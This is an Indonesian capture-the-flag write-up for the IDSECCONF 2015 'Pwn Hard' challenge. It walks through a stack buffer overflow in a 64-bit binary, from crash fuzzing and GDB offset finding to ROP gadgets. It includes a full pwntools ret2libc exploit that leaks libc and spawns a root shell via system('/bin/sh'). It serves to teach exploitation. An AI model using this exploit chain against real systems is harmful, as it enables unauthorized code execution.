[IDSECCONF Online 2015] Pwn Hard (350 Poin)
Masalah
Diberikan berkas pwn350
yang jika didekompilasi menjadi kode seperti ini.
ssize_t merdeka()
{
char buf; // [sp+0h] [bp-80h]@1
return read(0, &buf, 0x200uLL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Dirgahayu Yang ke 70\nAyo kerja\nJangan Harap alamat apapun\n", 0x3AuLL);
return merdeka(1LL, "Dirgahayu Yang ke 70\nAyo kerja\nJangan Harap alamat apapun\n");
}
Penyelesaian
Pengumpulan Informasi
Periksa keamanan binary terlebih dahulu dengan menggunakan checksec
.
$ checksec pwn350
Luaran.
[*] '/../pwn350'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Ternyata binary diproteksi dengan NX
yang menyebabkan tidak bisa mengeksekusi shellcode
. Kemudian berdasarkan source code, program meminta input dengan maksimum buffer sebesar (0x200) 128 bytes (lihat fungsi merdeka()
).
Identifikasi Kelemahan
Karena tidak ada canary, binary lemah terhadap stack smashing. Sedangkan fungsi read
tidak proteksi sehingga lemah terhadap buffer overflow. Pengguna bisa memasukkan input yang banyak agar binary crash dan mendapatkan pesan Segmentation Fault
. Untuk mengetahui jumlah bytes yang tepat untuk mendapatkan pesan tersebut, gunakan script dibawah ini.
find_segfault_by_input.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Luaran.
~ skipped ~
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
128
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
./find_segfault_by_input.sh: line 4: 10610 Segmentation fault (core dumped) ./$1 < /tmp/delete.me
SEGMENTATION FAULT on 128 BUFFER
Ternyata jumlah bytes yang dapat menyebabkan pesan Segmentation Fault
sebesar 128 bytes.
Eksploitasi
Buka GDB, dan periksa stack yang ada dalam binary.
$ gdb -q pwn350
gdb-peda$ r < /tmp/delete.me
Luaran.
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x81
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ('A' <repeats 128 times>, "\n\342\377\377\377\177")
RDI: 0x0
RBP: 0x4141414141414141 ('AAAAAAAA')
RSP: 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
RIP: 0x4005d4 (<main+46>: ret)
R8 : 0x400650 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x4005c9 <main+35>: mov eax,0x0
0x4005ce <main+40>: call 0x400586 <merdeka>
0x4005d3 <main+45>: leave
=> 0x4005d4 <main+46>: ret
0x4005d5: nop WORD PTR cs:[rax+rax*1+0x0]
0x4005df: nop
0x4005e0 <__libc_csu_init>: push r15
0x4005e2 <__libc_csu_init+2>: push r14
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe212 ('A' <repeats 14 times>, "\n\342\377\377\377\177")
0008| 0x7fffffffe21a --> 0xe20a414141414141
0016| 0x7fffffffe222 --> 0x5d300007fffffff
0024| 0x7fffffffe22a --> 0xe328000000000040
0032| 0x7fffffffe232 --> 0x7fffffff
0040| 0x7fffffffe23a --> 0x5e0000000010000
0048| 0x7fffffffe242 --> 0xd830000000000040
0056| 0x7fffffffe24a --> 0x7ffff7a2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004005d4 in main ()
Ternyata register RIP belum tertimpa oleh buffer input. Untuk menimpanya, tambahkan sebesar 12 byte sehingga menjadi 140 byte dan gunakan pattern create
untuk mendapatan posisi register RIP.
gdb-peda$ pattern create 140 delete.me
gdb-peda$ r < delete.me
Luaran.
Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x8c
RBX: 0x0
RCX: 0x7ffff7b04230 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x200
RSI: 0x7fffffffe1a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQA")
RDI: 0x0
RBP: 0x6c41415041416b41 ('AkAAPAAl')
RSP: 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
RIP: 0x41514141 ('AAQA')
R8 : 0x400650 (<__libc_csu_fini>: repz ret)
R9 : 0x7ffff7de7ab0 (<_dl_fini>: push rbp)
R10: 0x37b
R11: 0x246
R12: 0x400490 (<_start>: xor ebp,ebp)
R13: 0x7fffffffe320 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41514141
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe230 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
0008| 0x7fffffffe238 --> 0x100000000
0016| 0x7fffffffe240 --> 0x4005e0 (<__libc_csu_init>: push r15)
0024| 0x7fffffffe248 --> 0x7ffff7a2d830 (<__libc_start_main+240>: mov edi,eax)
0032| 0x7fffffffe250 --> 0x0
0040| 0x7fffffffe258 --> 0x7fffffffe328 --> 0x7fffffffe5fe ("/home/dummy/Private/progress/beeps/gits/beeps/assets/sample-4/pwn350")
0048| 0x7fffffffe260 --> 0x100000000
0056| 0x7fffffffe268 --> 0x4005a6 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000041514141 in ?? ()
Ternyata register RIP sudah berhasil ditimpa dengan buffer AAQA
, selanjutnya mencari indeks register RIP pada buffer delete.me
.
echo `python -c 'print open("delete.me").read().rstrip().index("AAQA")'`
Luaran
136
Register RIP yang sudah tertimpa akan digunakan sebagai jalan untuk melakukan teknik Return Oriented Programmming (ROP) guna mendapatkan alamat GLIBC server.
Mengungkap salah satu alamat GLIBC server
Untuk melakukannya bisa dengan membangun ROP chain dari fungsi read
ke fungsi write
guna mencetak alamat server. Kemudian dari fungsi read
ke main
guna eksploitasi lebih lanjut.
Perhatikan kode Assembly dibawah ini.
mov edx, 200h ; nbytes
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
fungsi read
pada source code akan mengalami buffer overflow karena buffer A
sebanyak 136 karakter, sehingga bisa digunakan untuk pemanggilan fungsi write
guna mencetak alamat server.
mov edx, 3Ah ; n
mov esi, offset aDirgahayuYangK ; "Dirgahayu Yang ke 70\nAyo kerja\nJangan"...
mov edi, 1 ; fd
call _write
mov eax, 0
fungsi write
pada source code menggunakan register EDI sebagai file descriptor dan register ESI sebagai string yang akan dicetak. Untuk mencetak salah satu alamat GLIBC server, isi register ESI bisa diganti dengan alamat tersebut, misal GOT read
dan isi register EDI tetap berisi 1. Maka gadget yang diperlukan adalah pop rdi
dan pop rsi
. Gunakan ROPgadget untuk mendapatkannya.
$ ROPgadget --binary pwn350 | grep 'pop rdi'
0x0000000000400643 : pop rdi ; ret
$ ROPgadget --binary pwn350 | grep 'pop rsi'
0x0000000000400641 : pop rsi ; pop r15 ; ret
Sehingga payload awal akan menjadi seperti ini.
payload = 'A'*136 # overflow read() agar mengendalikan RIP
payload += p64(gg_pop_rdi) # pop rdi
payload += p64(1) # rdi := 1
payload += p64(gg_pop_rsi) # pop rsi
payload += p64(binary.got['read']) # rsi := GOT read
payload += 'A'*8 # rsi := 8 bytes
payload += p64(binary.plt['write']) # call write()
Selanjutnya untuk ROP chain dari fungsi read
ke main
menjadi seperti ini.
payload += p64(gg_pop_rdi)
payload += p64(0)
payload += p64(gg_pop_rsi)
payload += p64(binary.symbols['__data_start'])
payload += "A"*8
payload += p64(binary.symbols['read'])
payload += p64(binary.symbols['main'])
Penjelasannya, isi register RDI dengan 0, register RSI dengan alamat __data_start
sebagai buffer guna inisialisai data. Kemudian panggil fungsi read
dan main
agar program ke posisi awal. Untuk script awal guna mengungkap alamat GLIBC server menjadi seperti ini.
from pwn import *
import struct
import time
libc_local = ELF('libc-2.23.so')
binary = ELF('pwn350')
proc = process('./pwn350')
gg_pop_rdi = 0x0000000000400643
gg_pop_rsi = 0x0000000000400641
# Menerima paket dari server agar PLT read() dijalankan server
log.info(proc.recv())
log.progress('Membangun ROP Chain: PLT read() menuju ke PLT write()')
payload = 'A'*136 # overflow read() agar mengendalikan RIP
payload += p64(gg_pop_rdi) # pop rdi
payload += p64(1) # rdi := 1
payload += p64(gg_pop_rsi) # pop rsi
payload += p64(binary.got['read']) # rsi := GOT read
payload += 'A'*8 # rsi := 8 bytes
payload += p64(binary.plt['write']) # call write()
log.progress('Membangun ROP Chain PLT read() menuju PLT main()')
payload += p64(gg_pop_rdi)
payload += p64(0)
payload += p64(gg_pop_rsi)
payload += p64(binary.symbols['__data_start'])
payload += "A"*8
payload += p64(binary.symbols['read'])
payload += p64(binary.symbols['main'])
proc.send(payload)
libc_server_read = u64(proc.recv(8))
log.success('Mendapatkan alamat `read` pada server: {}'.format(hex(libc_server_read)))
proc.send('dummy')
Luaran.
[+] Starting local process './pwn350': pid 13291
[*] Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
[....../.] Membangun ROP Chain: PLT read() menuju ke PLT write()
[◓] Membangun ROP Chain PLT read() menuju ke PLT main()
[+] Mendapatkan alamat `read` pada server: 0x7f2290fb2220
Memanggil /bin/sh
pada server
Program kembali ke posisi fungsi main
dan kembali memanggil fungsi read
untuk meminta input lagi. Pada momen ini, payload untuk memanggil shell bisa dimasukkan dengan ROP chain dibawah ini.
log.progress('Menghitung selisih offset alamat `read` pada server')
# Diambil dari libc-database
offset_shell = 0x18cd17
libc_server = libc_server_read - libc_local.symbols['read']
libc_sys = libc_server + libc_local.symbols['system']
libc_sh = libc_server + offset_shell
log.success('libc system: {}'.format(hex(libc_sys)))
log.success('libc sh: {}'.format(hex(libc_sh)))
log.progress('Membangun ROP Chain PLT read() menuju /bin/sh')
"""
:: IDA
mov rsi, rax ; buf
mov edi, 0 ; fd
call _read
"""
payload = 'A'*136
payload += p64(gg_pop_rdi)
payload += p64(libc_sh)
payload += p64(libc_sys)
proc.send(payload)
log.progress('Terhubung dengan shell pada server ...')
time.sleep(1)
proc.interactive()
Penjelasannya, gunakan alamat fungsi read
pada server untuk menghitung alamat basis server dengan dikurangi oleh alamat fungsi read
lokal. Gunakan offset yang ada dalam skenario memanggil system('/bin/sh')
. Setelah mengalamai buffer overflow pada fungsi read
, maka register RIP segera memanggil shell.
Luaran.
[+] Starting local process './pwn350': pid 14368
[*] Dirgahayu Yang ke 70
Ayo kerja
Jangan Harap alamat apapun
[ ] Membangun ROP Chain: PLT read() menuju ke PLT write()
[↘] Membangun ROP Chain PLT read() menuju ke PLT main()
[+] Mendapatkan alamat `read` pada server: 0x7f8d62d0e220
[◤] Menghitung selisih offset alamat `read` pada server
[+] libc system: 0x7f8d62c5c390
[+] libc sh: 0x7f8d62da3d17
[◓] Membangun ROP Chain PLT read() menuju /bin/sh
[/] Terhubung dengan shell pada server ...
[*] Switching to interactive mode
~ skipped ~
Ayo kerja
Jangan Harap alamat apapun
$ id
uid=0(root) gid=0(root) groups=0(root)
$ whoami
root